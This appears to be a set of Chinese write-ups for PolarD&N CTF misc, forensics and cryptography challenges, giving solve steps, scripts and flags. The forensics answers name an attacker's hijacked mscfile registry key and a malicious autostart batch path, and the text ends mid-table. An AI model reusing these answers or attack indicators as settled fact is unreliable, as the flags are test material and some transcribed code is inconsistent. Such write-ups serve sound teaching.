MISC PolarD&N_CTF_可老师签到
一、题目信息
题目包含一个压缩包,可直接解压没有密码

二、题目分析
点击exe即可启动题目

三、解题过程

进入后点击开始游戏
回答第一个问题


正确选项是第一个
继续答题,正确答案是第一个选项

最后一道题

依然第一个是正确选项
全部选对后得到提示

发送flagflag到PoalrCTF公众号即可
MISC PolarD&N_CTF_find
一、题目信息
打开发现为空白文档
二、解题思路
尝试查找更多信息
三、解题步骤
1.打开附件中的excel表格,随便点击,发现有些单元格的字形为粗体

2.Ctrl+H进入替换页面,T进入选项
在替换为后的格式下拉栏中选择设置格式,在图案中设置颜色为黑色
后Ctrl+A进行全选,最后点击全部替换,即可将字形为粗体的单元格填充为黑色,得到变形的二维码

3.经测试行高设为10mm,列宽设为1mm即可得到正常的二维码

4.扫码得到flag
flag{11be65d59abc1b45ad8b9cc1e695a016}
MISC PolarD&N_CTF_pfsense1~3
一、题目分析
题目所给内容为一台虚拟机和流量包,结合题目名猜测为pfsense设备
二、解题步骤
分析流量包找到POST请求,发现加密的flag


根据流量包传入信息找到漏洞利用工具

不了解文件结构可以查询ai


MISC PolarD&N_CTF_WinCS1~6
一、题目分析
题目当中给了一台Win10虚拟机和一个流量包
二、解题步骤
1.受控机器木马的回连的ip地址和端口是?(flag{ip:端口})
jhon用户目录下找到一些可疑文件,压缩包文件存在密码,两张外观一样的图片,和一个执行程序

将程序放入微步云沙箱查看即可

2.分析流量信息,攻击者尝试修改的jhon账户密码是什么?
分析两张图片信息,分别在两张图片尾部发现添加的内容,根据信息猜测为分成两部分的zip文件,合并并解压文件

获取到cs流量的密钥文件,导入密钥分析流量包

使用妙妙工具CTF-NetA,也可以尝试手动分析,搜索jhon

P@ssW0rd@123
3.分析流量当中,攻击者查看的文件中flag内容是什么?
接上题搜索flag

flag{31975589df49e6ce84853be7582549f4}
4.攻击者在攻击过程当中修改过的注册表目录是什么?
接上题搜索reg

HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
5.受控机当中加密文件的内容是什么?
根据passkey.txt文件内容,猜测密码为PolarCTF@2025Spring

flag{fc51bd0633d256f2dcbe282efa205c3a}
6.受控机木马的自启动文件路径是什么?
打开计算机的计划任务程序库,发现可疑的自启动项目

C:\Users\jhon\AppData\Local\Temp\power.bat
MISC PolarD&N_CTF_solid
一、题目信息
下载题目后只有一个 .xlsx文件,根据表格做题。

二、解题思路
打开题目发现像是一个密码表,还有文字叙述加密过程,所以根据提示进行密文计算。

三、解题步骤
首先分析给出语句:第一世界不动,六方世界形成一个空间,两两平行,相对交错。
根据表格所展现的内容与语句结合,我们会发现:
六方世界,可以是六个区域,两两平行,相互交错,且题目为“solid”为立体的意思,所以我们可以把这个表格中特定的六个区域进行空间折叠,形成一个立体图形,而有六个面的立体图形,为正方体和长方体。
仔细观察表格会发现,有四个块是空缺的,而有六个块是从1-6的顺序排列的。

由于是“六方世界”,所以我们尝试把它进行划分区域:

那么这种排列方式是不是可以经过空间折叠变成一个正方体呢?
所以我们拼成一个正方体,然后就可以个根据指定数字解题了:
其次,第二句话为:在主个世界中确定的一个点,可以映射到相对的世界,给出的密文是六位数字,所以说咱们每一个数字对应一个世界,也就是一个平面,也就是:8->一世界,6->二世界,4->三世界,5->四世界,1->五世界,3->六世界。
但是折叠的时候千万要注意每一个面的数字朝向,举个例子,1世界的左上角经过折叠,映射的是3世界的右上角。
快来解出答案吧!
最终密文:952375
MISC PolarD&N_CTF_旧日絮语
一、查看题目信息
题目给出一张图片,展开如下:
二、题目分析
1、观察图片,通过文字标点,判断文段尚未结束,故猜测图片高度被修改。因此尝试将图片使用winhex打开,尝试修改图片高度。
png图片的高度,在标志IDHR的后四到八个字节,即图中的00 00 02 25。我们尝试调大高度(以00 00 02 87为例),得到图片如下:
发现一串密码:20240815。
2、在winhex中,我们继续观察图片,可以发现在图片底部藏有文件:
我们在kail中使用binwalk进行文件分离,得到压缩包与其内含文件:

//使用指令
$binwalk -e ***.jpg
我们直接复制出压缩包内含文件,得到docx文件:
![]()
3、打开文档,发现需要输入密码:
我们将图片包含的密码输入,解开文档加密。(20240815)

4、文档内容并无线索,故猜测有文字隐藏。我们在设置中将显示隐藏文字打开,即可看到隐藏文段。

该文段为base64加密,在清除加密效果后,我们即可复制文段,进行在线base64转文件。(在线网站:在线Base64转文件工具 - 在线工具网 (hiofd.com))

4.下载后,我们得到一个带有密码的压缩包。
由于我们暂时不知道密码,故继续从文档中寻找线索。
由于文档为加密文档,所以,如有文件属性备注,在文件外无法右键查看,因此,在解密文件后可以在文件内进行查看。
我们在设置中,找到文件属性发现秘钥shenglingshidai:
输入密码后,即可打开压缩包:

5.文档主要内容为一个exe程序,可以打开进行操作:
程序类似小游戏,我们在ida中查看它的运行逻辑,发现在左侧函数栏中直接给出flag运算函数:
int key()
{
int flag[50]; // [esp+10h] [ebp-268h]
int b[50]; // [esp+D8h] [ebp-1A0h] BYREF
int a[50]; // [esp+1A0h] [ebp-D8h] BYREF
int j; // [esp+268h] [ebp-10h]
int i; // [esp+26Ch] [ebp-Ch]
memset(a, 0, sizeof(a));
a[0] = 1;
a[1] = 6;
a[2] = 8;
a[3] = 9;
a[4] = 8;
a[5] = 6;
a[6] = 2;
a[7] = 6;
a[8] = 7;
a[9] = 7;
memset(b, 0, sizeof(b));
b[0] = 2;
b[1] = 9;
b[2] = 5;
b[3] = 6;
b[4] = 7;
b[5] = 5;
b[6] = 7;
b[7] = 6;
b[8] = 6;
b[9] = 4;
j = 0;
for ( i = 0; i <= 31; ++i )
{
if ( j > 8 )
j = 0;
flag[i] = b[j] + a[j];
}
for ( i = 0; i <= 31; ++i )
flag[i] += a[i];
printf("flag{");
for ( i = 0; i <= 17; ++i )
printf("%d", flag[i]);
printf("}");
return 0;
}
我们据此模拟运行逻辑写出运算脚本即可获得flag。
#include<stdio.h>
int main()
{
int a[50] = {1,6,8,9,8,6,2,6,7,7};
int b[50] = {2,9,5,6,7,5,7,6,6,4};
int i = 0;
int j = 0;
int flag[50];
for(i = 0; i < 32; i++)
{
if(j >= 9)
{
j = 0;
}
flag [i] = b[j] + a[j];
}
for(i = 0; i < 32; i++)
{
flag [i] += a[i];
}
printf("flag{");
for(i = 0; i < 18; i++)
{
printf("%d", flag[i]);
}
printf("}");
return 0;
}
三、FLAG
flag{49111211959101033333333}
CRYPTO PolarD&N_CTF_knock knock
1.打开题目发现一个txt文件,打开查看。
2.发现里面有数字组成的集合,分析发现数字都由1-5构成,结合题目提示,判断可能为敲击码密码。
3.根据前景描述
可以把以往的行列形式改为列行形式
然后再根据正常的敲击表进行比对或用在线网站
也可以直接在敲击表先列后行
比如,所给的密文是42,我们就先看列4,后看行2
4.对照敲击码密码表格进行破译,将得到的结果使用32位小写MD5加密得到最终结果flag。
CRYPTO PolarD&N_CTF_LCG
一、题目信息
题目名称叫做LCG,我们可以从这入手
二、题目分析
首先解释LCG:
LCG(线性同余生成器,Linear Congruential Generator) 是一种伪随机数生成算法,广泛用于生成伪随机数序列。它的公式如下:

其中:
-
X的第n项 是当前的随机数(或种子)。
-
a 是乘数(multiplier)。
-
c 是增量(increment)。
-
m 是模数(modulus)。
-
X的第n+1项是下一个随机数。
LCG 的特性
-
周期性:
-
LCG 生成的序列是周期性的,周期长度最多为 m。
-
如果参数 a、c、m 选择不当,周期可能会更短。
-
-
可预测性:
-
如果知道 a、c、m 和部分输出序列,可以推导出整个序列。
-
即使不知道参数,通过观察足够多的输出,也可以破解 LCG。
-
-
参数选择:
-
m 通常选择为 2 的幂(如2的32次方),便于计算机处理。
-
a 和 c 的选择需要满足一定的条件,以确保周期最大化。
-
LCG 的破解
如果知道 LCG 的部分输出序列,可以通过以下方法破解:
1. 已知参数(*a*、*c*、*m*):
-
直接根据公式计算下一个随机数。
2. 未知参数:
-
如果知道连续的几个输出值,可以通过解线性方程组推导出 a、c、m。
-
例如,假设已知 X1,X2,X3,则可以建立以下方程:
X2=(a⋅X1+c)mod m
X3=(a⋅X2+c)mod m
通过解这组方程,可以求出 a、c、m。
LCG最大的优点就是简单高效
三、解题步骤
EXP:
from gmpy2 import *
from Crypto.Util.number import *
a=156506070439514915241840745761803504236863873655854161309517219593159285490218416513868431750791509039364033002042672969954633160268127141912185884526880436614313300761314810148356686577662643452299620703125833160716418003026915719584690230453993382155777985020586206612864299316237848416232290650753975103343
b=99238154412252510462155206432285862925162164007834452250464130686978914370223020006347851539449419633688760095534852514797292083351953228730558335170313299274579966373474363445106224340638196799329142279344558612634392675992734275683700752827665429269516389277374408716314038483357418130704741371183923688601
c=46154227430594568448486764587707836676441274677362557668215680998009402508945237578201692757688901737765923819819981974561807236454825684824157481322486008937560337004555948283870920377643907746645702190355761172293685309340938249454686807948964629553755585562990983237480387614548526918576791297250747752579
m=94993804003827679355988952056520996247311128806455111011781585397953533782675757682874584547665028872979112598462143541626190903596606261782592703863749024490737374603789002750194481545579020929239629410573307193150780522563772690101754723829224534622557370960012364614566294197235191962517037441643656951249
ani = invert(a,m)
seed = c
for i in range(10):
seed =(ani * (seed-b))%m
print(long_to_bytes(seed))
CRYPTO_中PolarD&N_CTF_beginner
一、题目背景
assert(len(open('flag.txt', 'rb').read()) <= 50) assert(str(int.from_bytes(open('flag.txt', 'rb').read(), byteorder='big') << 10000).endswith('16732186163543403522711798960598469149029861032300263763941636254755451456334507142958574415880945599253440468447483752611840'))
endwith后为125位 其中加密方式为utf-8
这道题需要我们对题目代码进行分析。
二、题目分析
1.第一行代码告诉我们对flag.txt的文本内容进行二进制方式处理,如果位数大于50,则报错
2分析的二段代码之前先了解下:
1、int.from_bytes
函数格式:int.from_bytes(bytes, byteorder, *, signed=False),bytes为输入的变量,byteorder有'big'和'little',signed有'True'和'False'。
作用:把bytes类型的变量,转化为十进制整数
举例1:int_s = int.from_bytes(s, byteorder='little', signed=True),且s = '\xf1\xff'。
byteorder='little',表示高位在前,低位在后,s = '\xf1\xff','\x'表示16进制,而f1是低位,ff是高位,故把ff放前面,f1放后面。先将f1和ff分别写成二进制f1 = 1111 0001,ff = 1111 1111。如果byteorder='big',则是正常顺序,低位在前,高位在后。
再看signed=True。表示要区分二进制数的正负。ff第一位为1,则是负数,故要进行取反加一操作,符号位不变。得到10000000 00001111,对应十进制为-15.如果signed=False,则无符号位。
举例2:int_s = int.from_bytes(s, byteorder='big', signed=False),且s = '\xf1\xff'。
得到二进制(1111 0001 1111 1111),故转十进制int_s = 61951
2.endswith
作用判断字符串是否以指定字符或子字符串结尾,常用于判断文件类型
然后我们分析第二段代码:将二进制的明文向左平移10000,也就2×10000,并且对10的125次方取余数。
c = 2^10000 * m (mod 10^125),推导一下:
2^10000 * m/c = 1 (mod 10^125),故m/c就等于2^10000关于1模10^125的逆元(这里我们可以利用逆元的性质bb'\u2261 1mod(10^125)),通过计算发现,该逆元不存在,因为2^10000和10^125间有公因数2^175,把它约去即可。

三、解题步骤
from Crypto.Util.number import *
from gmpy2 import *
from Crypto.Util import number
c=int(16732186163543403522711798960598469149029861032300263763941636254755451456334507142958574415880945599253440468447483752611840)
import gmpy2
mod=pow(5,125)
f=gmpy2.invert(pow(2,10000),mod)
m=c*f%mod
m=int(m)
print(int.to_bytes(m, 52, byteorder='big'))
CRYPTO PolarD&N_CTF_RSA1-2
一、题目信息

一个output文件和加密脚本
加密脚本为:
import os
from Crypto.Util.number import *
from typing import Union
from flag import flag
bits = 512
def polar(msg: Union[bytes, bytearray], length: int) -> bytes:
assert length > len(msg), "指定的长度必须大于原始消息长度加 1。"
return bytes(msg) + b'\x00' + os.urandom(length - len(msg) - 1)
def unpolar(msg: Union[bytes, bytearray]) -> bytes:
msg = bytes(msg)
assert b'\x00' in msg, "输入的字节串中不包含分隔符。"
return msg.split(b'\x00')[0]
def getflag1(m):
result = []
for i in range(2):
result.append(getPrime(bits))
p, q = result
if p <= q:
p, q = q, p
e = 0x10001
n = p * q
c = pow(m, e, n)
hint = pow(2024 * p + 2025, q, n)
print('---------- getflag 1 ----------')
print(f'{c = }')
print(f'{n = }')
print(f'{hint = }')
def getflag2(m):
result = []
for i in range(2):
result.append(getPrime(bits))
p, q = result
n = p * q
hint1 = pow(m, p, n)
hint2 = pow(m, q, n)
print('---------- getflag 2 ----------')
print(f'{hint1 = }')
print(f'{hint2 = }')
print(f'{n = }')
def getflag3(m):
result = []
for i in range(2):
result.append(getPrime(bits))
p, q = result
e = 0x10001
n = p * q
g = 20242025
hint = pow(g + p * 1111, e, n)
c = pow(m, e, n)
print('---------- getflag 3 ----------')
print(f'{c = }')
print(f'{n = }')
print(f'{hint = }')
assert len(flag) == 42
mm = []
for i in range(0, 42, 14):
mm.append(bytes_to_long(polar(flag[i:i + 14], bits // 4 - 1)))
m1, m2, m3 = mm
getflag1(m1)
getflag2(m2)
getflag3(m3)
二、题目分析
考点主要是关于RSA的基础数论分析,通过各种等式变换得到关于p和q的等式,计算出p和q,从而得到各个部分的flag
getflag1:
根据加密脚本推理过程:
费马小定理
(p+a)^q%n=hint
#两边同时p次方
(p+a)^q*p%n=hint^p%n
(p+a)^n=hint^p+kn
#两边模上p
(p+a)^n%p=hint^p%p
#根据费马小定理
(p+a)^n%p=hint%p
#展开
a^n%p=hint%p
a^n-hint=kp
#求公约数p
p=gcd(a^n-hint,n)
复现:
def setflag1():
e = 65537
c =
n =
hint =
p = gmpy2.gcd(pow(2025, n, n) - hint, n)
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag1 = long_to_bytes(m)
return flag1[:14]
同理剩下:
getflag2:
费马小定理
hint1=pow(m,p,n)
hint2=pow(m,q,n)
转化为:
一hint1=m^p%n
二hint2=m^q%n
hint1=m^p%n
两边同时平方个q
hint1^q=(m^p)^q%n
hint1^q=m^n%n
hint1^q=(m^q)^p%n
hint1^q=(m^q%n)^p%n
将式 二代入
hint1^q=hint2^p%n
两边同时平方个p
(hint1^q)^p=(hint2^p)^p%n
hint1^(q*p)=(hint2^p)^p%n
hint1^n=(hint2^p)^p%n
hint1^n=(hint2^p)^p+kn
hint1^n=(hint2^p)^p+kpq
#两边同时模p
hint1^n%p=(hint2^p)^p%p+kpq%p
hint1^n%p=(hint2^p)^p%p
#根据费马小定理
a^p-1%p=1 a^p%p=a
hint1^n%p=(hint2^p)%p
hint1^n%p=hint2%p
hint1^n=hint2+kp
hint1^n-hint2=kp
kp=hint1^n-hint2
利用公约数求p
p=gcd(hint1^n-hint2,n)
解的
def setflag2():
hint1 =
hint2 =
n =
p = gmpy2.gcd(pow(hint1, n, n) - hint2, n)
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(p, phi)
m = pow(hint1, d, n)
flag2 = long_to_bytes(m)
return flag2[:14]
getflag3:
费马小定理
hint = pow(g + p * 1111, e, n)
两边同时模n
hint=(g+p*1111)^e+kn ------>>>hint=g^e+kp+kn
hint-g^e=kp
解的:
def setflag3():
c =
n =
hint =
g = 20242025
e = 65537
p = libnum.gcd(hint - pow(g, e, n), n)
q = n // p
phi = (p - 1) * (q - 1)
d = libnum.invmod(e, phi)
m = pow(c, d, n)
flag3 = long_to_bytes(m)
return flag3[:14]
三、解题脚本
exp.py:
import gmpy2
from Crypto.Util.number import *
import libnum
def setflag1():
e = 65537
c = 106932814634172489425702007139140373546834917771367058711944984593149465629951198769828679883270594158665297746680289248056977346295975218434156754937039740474715490069136163100111573379630763755493571058775063239132348709658984213922635566937023561820595839822600865948106997713601138967967447835143132518249
n = 114546425588310081671864824979705524066909097193297064099051733046402463555650788674630216283713981601352701801247525374203450930718461734483264497798387006484238009970986630571854153754756808866976403302100414756641710076386950849275884332309214691647884729239866449303022190966328416202728653161194734181397
hint = 14167026592757385645683964635731214642720851230816007832728179594137078788184547251188361494083671558554399706352083594406586455990047883120343525622731906783627614035714546815384092987686711187001531557864904478781545860378341648063119238398535969022698033097727057913728653478849054917253235938883271690040
p = gmpy2.gcd(pow(2025, n, n) - hint, n)
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag1 = long_to_bytes(m)
return flag1[:14]
def setflag2():
hint1 = 54970781924019595863484530626735693712920476619483230578277656430455790362335041922354389265430681573039703011001631761902508906456609398108389457140693872973125229844737616298484143628327833079090999615173264817695407599821875528027430069058944656983590302062976047694462479290647389958480266319059751445182
hint2 = 80980259919808074704372134146767866092949512532096534576106851289748846005248116120680155543668224921613789932208624456370489831230478815466334144780133065025062986201532876895224101781697909762258725545339404197634465901767246731955823620770784243939730616060814584918359635917314703766496053543724484797173
n = 99517070479321715054584809647801078099246408970263686466424530637818701832562120579305425855216653939240321111911361599565693184872902069364547154817279854814534957350288095457061287301409197137152708536099357243361609267071166651650163387054480968146813088675351466317148500854487952501075120046716531779527
p = gmpy2.gcd(pow(hint1, n, n) - hint2, n)
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(p, phi)
m = pow(hint1, d, n)
flag2 = long_to_bytes(m)
return flag2[:14]
def setflag3():
c = 51100026339357786159146465987268050654484932407305430030434719506588905998943430883131311324670025897109006729477302362003557202463770250321227873150557579374770683129700977409481692251037899461661968708767126966344274947046391169588818731128072220629623368296581244087481436853929555771832747210836109696703
n = 85897150916833688522635686742994777963661211681341125201267041008790197490758867298985626011222830465064289727655147523984810647113543131152913693609062807059393201711922197064632101712280889245466817477074958630885164568068656410500872384462043993495454174325021766338459126370431040295739507618513598240657
hint = 74207877151043153331465477182019527898792092627334195908322826913320865766713698819838691762501128169631345035620355122351143434970770413620094036828820672753396419434430235436928712839835293124866139083678902005527999303052152257999599043696672040830910609582145273960759790396567889053040599505269507804705
g = 20242025
e = 65537
p = libnum.gcd(hint - pow(g, e, n), n)
q = n // p
phi = (p - 1) * (q - 1)
d = libnum.invmod(e, phi)
m = pow(c, d, n)
flag3 = long_to_bytes(m)
return flag3[:14]
if __name__ == '__main__':
print(setflag1() + setflag2() + setflag3())
运行得到flag

CRYPTO PolarD&N_CTF_Ununicast
一、题目信息

两个文件,一个输出文件和一个加密脚本
二、题目分析
脚本内容
import libnum
import gmpy2
import random
from flag import *
m = libnum.s2n(flag)
n_list = []
c_list = []
q_list = []
p_list = []
for i in range(1, 6):
p = libnum.generate_prime(1024)
q = libnum.generate_prime(1024)
n = p * q * (i + 1)
p_list.append(p)
q_list.append(q)
n_list.append(n)
while True:
e = random.randint(10, 30)
if gmpy2.is_prime(e):
break
for index in range(len(n_list)):
c = pow(m, e, n_list[index])
c_list.append(c_list.append(c * (index + 1)))
print("n" + str(index + 1) + " =", n_list[index])
print("c" + str(index + 1) + " =", c_list[index])
分析脚本
这是一个rsa加密算法
随机生成生成 1024 位的素数 p、q
再计算n
分别把它们存储到列表里
随机生成一个 e,满足 e 是一个素数
计算(c = m^e mod n) * i + 1
output.txt
n1 = 22103870455568232891149694305142888751834308614394265111616851946569600408214771004642537180847811632101335684526571461971168013515137837024900824805617026937904594229522094231161022911739124543737188196687483192656237801622618078066399259928261566545087643719410735482610730976575506701177108423445928193645406926842010985319473171710362525271971508507747952666476652082985675013329629912123828667561346609223913700779782291638584038925201698832368301491167548373412290987271213331940429281040520028261848410995501268272516219976073764836056701179000719299634048587399330114683369803481960168019956231748933059575086
c1 = 11932229075145446680509155897048554062128427256365407597246250504495581359308426337230014475362231568192824606320775755785288148002607456528824047021370456983795336102290050703706457189838464034831160081682076095173411617546158489572376376884672473947738113750437924641752734999601688973523833305072494573210602790160977994408649942476416234572187935125916149727341802693373659080702112924850348826357976589797895053949499171267826718541148026541242636886850084012913015158312606367900952240929619627369492395483334316329627526281924799100659188037308919177852074431004118744919974806767580700568542188744931220106105
n2 = 75527641277099990800438920440041058388427571492243099817050670120985557789492014161535482889418153237600686779752008243731659250445079816272020155052679163716181164111466120389153470493389801068487079484957125572093805976995390398541806299511780722297642464948545911633969882049338027366168822259177038560221615245305724815740962661657512543487558774545803259821939839314547049519064559274668861232108875651136746020639698802437427698294031084596199751751480045337605111284980409927684686225365555725770862339970487179511801140925931587981761559129421142486178642732741442537609122284807214875446647952010067400441059
c2 = 124027357006179169026958610630330051622067042499828335143384044470302479154098199844981110929954078399392164965842575040140695741764719533745054315027041147434320473103634538090232615962998187567447484128103678001361703834076345621055674269048895730502155866761233018172058631071676397257894588728272913258599692996320058955017804506826897453939809574483310935927402899939042162496213745140970798253433830063777555869660983592646174581212241911650074643983280676238861065129884340834318081282521338654119292893592735294429956139729060770783817702837759047833794757601190967753969500822631312988106678317432186105038268
n3 = 67087501562139943813249584173215038264768218519355997619681399311361081244680048116472803745503996059873261361695629103578075388683394265112338602330356608572716276538183020643625652731722917269342461918246200053767885270359910155650804090015847462552469649420213346519159991670579334968778366255234963922378971680452094795318028353408405313888877068259282684640458674087251102468714734787171166396014144021959441774122328495595094512659302451021226956296868717965902597097040721193168373568780684532295504916946312087113872338693404258549907349353138009767393388073227204853717415106619739522003848121147803734511476
c3 = 34907142326483502918854711671956997110565154361385230791804714287500927140885225814711150443792832759398271249995064551044140838772959358268339105708186456545576271462167016667528764892342067422814982959975071847067493078241698635502292984200940132917130864956317815578073656622172241742542237740221147402449228459532782232518010610903660510875077798419046748683570340175197592449547071220020985311569095928938768945219762563190314531483012532595972282105394784611117089120803198848347397871670119847470687912177591609360741114570213377874848453859418234331921560384819899391157666714587396643397702710016410117040255
n4 = 107655225342909323493747650996643964780949305458547565103531987767712606044684527447631280423897684091717655597473336978923442425477823322239803312759244627308704521511743542550831030718035257133033470431042111429555597381959609892666206716219532081847930970282959800999825630713834546858387640307817593411764905032303294057112362597297253851687870254992314351948709124427458348128204263663881362955482132512838054738519685384575921373737470245719421223898475756247409282692966862335515090757754459242168056461013405091180148696649963461602177212697836496306046456138474445624214914814699390257673835554848791003397055
c4 = 260074379614284795599484546451240257157763532480505168853160303924952553177325935242853666448209970957052626857104522597130316456316378917529016900063473199051496246209878864043477905068893003923546332891289993179385753129868269775271722630762054161951558359984426822705582509592976962739279251035941138103001411061238095611738024433238447078804016593599525582868080696498271912174235479368671466666819582104245707176341268617126063957318342864903403961673418935623112290599738566078566393961145470677825235949530460449737989243772214379341818676279908757907698136648847166264635580606733816599243489965651372128251328
n5 = 70199621485671842359044641866403168058670803503736686351887502686934276983786039926002198676793045683182125769300687612734657616494815167750772182403321230734527784596550124329071164871143795929191396166096178482901122962656943854107741654772981259089537233024363295465966490361367216383217631330482253245796203648485653095242684462412133029510769320566443165990471527944889669809129572843754832577807509454633886982402256837076791468127186325307925886447397529190962280905611709973103713165872442266384750885343667064502988575278416037070011939869923447549518023420261237007329747290577829325263253564790709373901618
c5 = 207467685064436795719671032825183115862587233648672449925340580227825675452627031507906214773278665727530027025673966750973641715014217092820995216768554881760711270444952703291126925400881160114713107315867759288572987159233984669439942981888636828978580980986834342715153361271280814208437227309185682033733871844684874967978852089340054449142896831217885786745795842561143568848428620959961049292832772489885193639646881909425599177539209159664137785111991625129191354004990699226809474030005545318219197509201907072684957499981194498761673049651408375607248956494019809957851295451628144493493011699904221882421955
现象:明文m用相同的密钥e和不同的模n进行加密
得到几组不同的n和
特点
加密指数e非常小
一份明文使用不同的模数n,相同的加密指数e进行多次加密
可以拿到每一份加密后的密文和对应的模数n、加密指数e
先根据中国剩余定理求出m^e,这题的e只给范围,要爆破一下
用中国剩余定理
中国剩余定理的作用就是把一个同余式组变成一个同余式,eg:
⎧ c1 = m^e mod n1
| c2 = m^e mod n2
⎨ c3 = m^e mod n3
| c4 = m^e mod n4
⎩ c5 = m^e mod n5
转化成一个C = m^e mod N,N = lcm(n1,n2,n3,n4,n5)
解题思路
如果选取的加密指数较低,并且使用了相同的加密指数,我们可以使用广播攻击得到明文
三、解密脚本
方法一:使用现成库函数
import libnum
import gmpy2
n1 = 22103870455568232891149694305142888751834308614394265111616851946569600408214771004642537180847811632101335684526571461971168013515137837024900824805617026937904594229522094231161022911739124543737188196687483192656237801622618078066399259928261566545087643719410735482610730976575506701177108423445928193645406926842010985319473171710362525271971508507747952666476652082985675013329629912123828667561346609223913700779782291638584038925201698832368301491167548373412290987271213331940429281040520028261848410995501268272516219976073764836056701179000719299634048587399330114683369803481960168019956231748933059575086
c1 = 11932229075145446680509155897048554062128427256365407597246250504495581359308426337230014475362231568192824606320775755785288148002607456528824047021370456983795336102290050703706457189838464034831160081682076095173411617546158489572376376884672473947738113750437924641752734999601688973523833305072494573210602790160977994408649942476416234572187935125916149727341802693373659080702112924850348826357976589797895053949499171267826718541148026541242636886850084012913015158312606367900952240929619627369492395483334316329627526281924799100659188037308919177852074431004118744919974806767580700568542188744931220106105
n2 = 75527641277099990800438920440041058388427571492243099817050670120985557789492014161535482889418153237600686779752008243731659250445079816272020155052679163716181164111466120389153470493389801068487079484957125572093805976995390398541806299511780722297642464948545911633969882049338027366168822259177038560221615245305724815740962661657512543487558774545803259821939839314547049519064559274668861232108875651136746020639698802437427698294031084596199751751480045337605111284980409927684686225365555725770862339970487179511801140925931587981761559129421142486178642732741442537609122284807214875446647952010067400441059
c2 = 124027357006179169026958610630330051622067042499828335143384044470302479154098199844981110929954078399392164965842575040140695741764719533745054315027041147434320473103634538090232615962998187567447484128103678001361703834076345621055674269048895730502155866761233018172058631071676397257894588728272913258599692996320058955017804506826897453939809574483310935927402899939042162496213745140970798253433830063777555869660983592646174581212241911650074643983280676238861065129884340834318081282521338654119292893592735294429956139729060770783817702837759047833794757601190967753969500822631312988106678317432186105038268
n3 = 67087501562139943813249584173215038264768218519355997619681399311361081244680048116472803745503996059873261361695629103578075388683394265112338602330356608572716276538183020643625652731722917269342461918246200053767885270359910155650804090015847462552469649420213346519159991670579334968778366255234963922378971680452094795318028353408405313888877068259282684640458674087251102468714734787171166396014144021959441774122328495595094512659302451021226956296868717965902597097040721193168373568780684532295504916946312087113872338693404258549907349353138009767393388073227204853717415106619739522003848121147803734511476
c3 = 34907142326483502918854711671956997110565154361385230791804714287500927140885225814711150443792832759398271249995064551044140838772959358268339105708186456545576271462167016667528764892342067422814982959975071847067493078241698635502292984200940132917130864956317815578073656622172241742542237740221147402449228459532782232518010610903660510875077798419046748683570340175197592449547071220020985311569095928938768945219762563190314531483012532595972282105394784611117089120803198848347397871670119847470687912177591609360741114570213377874848453859418234331921560384819899391157666714587396643397702710016410117040255
n4 = 107655225342909323493747650996643964780949305458547565103531987767712606044684527447631280423897684091717655597473336978923442425477823322239803312759244627308704521511743542550831030718035257133033470431042111429555597381959609892666206716219532081847930970282959800999825630713834546858387640307817593411764905032303294057112362597297253851687870254992314351948709124427458348128204263663881362955482132512838054738519685384575921373737470245719421223898475756247409282692966862335515090757754459242168056461013405091180148696649963461602177212697836496306046456138474445624214914814699390257673835554848791003397055
c4 = 260074379614284795599484546451240257157763532480505168853160303924952553177325935242853666448209970957052626857104522597130316456316378917529016900063473199051496246209878864043477905068893003923546332891289993179385753129868269775271722630762054161951558359984426822705582509592976962739279251035941138103001411061238095611738024433238447078804016593599525582868080696498271912174235479368671466666819582104245707176341268617126063957318342864903403961673418935623112290599738566078566393961145470677825235949530460449737989243772214379341818676279908757907698136648847166264635580606733816599243489965651372128251328
n5 = 70199621485671842359044641866403168058670803503736686351887502686934276983786039926002198676793045683182125769300687612734657616494815167750772182403321230734527784596550124329071164871143795929191396166096178482901122962656943854107741654772981259089537233024363295465966490361367216383217631330482253245796203648485653095242684462412133029510769320566443165990471527944889669809129572843754832577807509454633886982402256837076791468127186325307925886447397529190962280905611709973103713165872442266384750885343667064502988575278416037070011939869923447549518023420261237007329747290577829325263253564790709373901618
c5 = 207467685064436795719671032825183115862587233648672449925340580227825675452627031507906214773278665727530027025673966750973641715014217092820995216768554881760711270444952703291126925400881160114713107315867759288572987159233984669439942981888636828978580980986834342715153361271280814208437227309185682033733871844684874967978852089340054449142896831217885786745795842561143568848428620959961049292832772489885193639646881909425599177539209159664137785111991625129191354004990699226809474030005545318219197509201907072684957499981194498761673049651408375607248956494019809957851295451628144493493011699904221882421955
n1 = n1 // 2
n2 = n2 // 3
n3 = n3 // 4
n4 = n4 // 5
n5 = n5 // 6
c2 = c2 // 2
c3 = c3 // 3
c4 = c4 // 4
c5 = c5 // 5
n = [n1, n2, n3, n4, n5]
c = [c1, c2, c3, c4, c5]
mm = libnum.solve_crt(c, n) # 使用中国剩余定理求解合并的结果
print(f"合并后的模数结果: {mm}")
for e in range(10, 30):
m, t = gmpy2.iroot(mm, e) # 计算 e 次方根
if t:
print(f"解密成功 (e = {e}): m = {m}")
try:
# 尝试将 m 转换为字符串明文
flag = libnum.n2s(int(m))
print(f"解密后的明文: {flag}")
except:
print(f"明文为数字形式: {m}")
break # 找到正确的解后退出循环
解出flag

方法二:[自己编写函数(低加密指数广播攻击-CSDN博客)
CRYPTO PolarD&N_CTF_playstreamone
一、题目信息
一个output压缩包和一个加密脚本



二、题目分析
根据题目信息,可以了解流密码[流密码原理与应用-CSDN博客]
关于流密码的知识可以Google了解,在这里不做详细说明。
本题主要是一个非线性组合生成器,对多个 LFSR 的输出使用一个非线性组合函数
Geffe 包含 3 个线性反馈移位寄存器,非线性组合函数为:

F(x1,x2,x3) = (x1 and x2) ⊕ (x1 and x3) = (x1 and x2) ⊕ (x1 and x3) ⊕ x3
这道题基本思路是,R1、R2、R3三个初始值,每次经过lfsr轮转,产生新的R1、R2、R3,并且将lastbit经过简单运算F(x1,x2,x3) = (x1 * x2) ^ ( (x2 ^ 1) * x3)的到一个out输出。out与tmp进行一系列运算得到最终结果,这题结果总共为1G的数据。(题目下载中只给了11M的,其实1M都够了的)
可以看出,该程序与 Geffe 生成器非常类似,这里我们使用相关攻击方法进行攻击,我们可以统计一下在三个 LFSR 输出不同的情况下,最后类 Geffe 生成器的输出,如下:
| x1 | x2 | x3 | F(x1,x2,x3) |
|---|---|---|---|
